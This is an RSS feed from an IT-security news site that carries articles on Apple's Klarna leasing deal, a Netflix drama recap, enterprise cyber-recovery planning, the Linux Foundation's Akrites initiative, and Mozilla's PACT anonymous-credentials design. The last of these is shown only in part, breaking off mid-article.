<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=recover+abandoned+carts+with%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 00:20:04 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 00:20:04 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=recover+abandoned+carts+with%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=recover+abandoned+carts+with%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Foundation Launches Akrites To Coordinate AI-Driven Open Source Security]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA...]]></description>
<link>https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA, IBM, Cisco, JPMorganChase, and others. Akrites will provide a shared Security Incident Response Team (SIRT), a standardized coordinated vulnerability disclosure process, and act as a "maintainer of last resort" for abandoned but widely used packages.
 
The goal is to reduce duplicate reports, avoid conflicting patches, and help upstream maintainers address vulnerabilities before they can be exploited. As AI makes it easier to find security flaws, can a coordinated industry effort help protect open source, or does it risk giving large corporations too much influence over the ecosystem? "Akrites is the largest coordinated effort in history to create systems and deploy tooling that leverages the collective power of the community to make everyone safer," the Linux Foundation said in an open letter. "Akrites participants will contribute engineering resources; work to build and ship fixes; or fund the engineers who do. Some companies have contributed mightily already. The reality is, collectively, we need to contribute more."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Linux+Foundation+Launches+Akrites+To+Coordinate+AI-Driven+Open+Source+Security%3A+https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2Flinux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://linux.slashdot.org/story/26/06/25/2031228/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
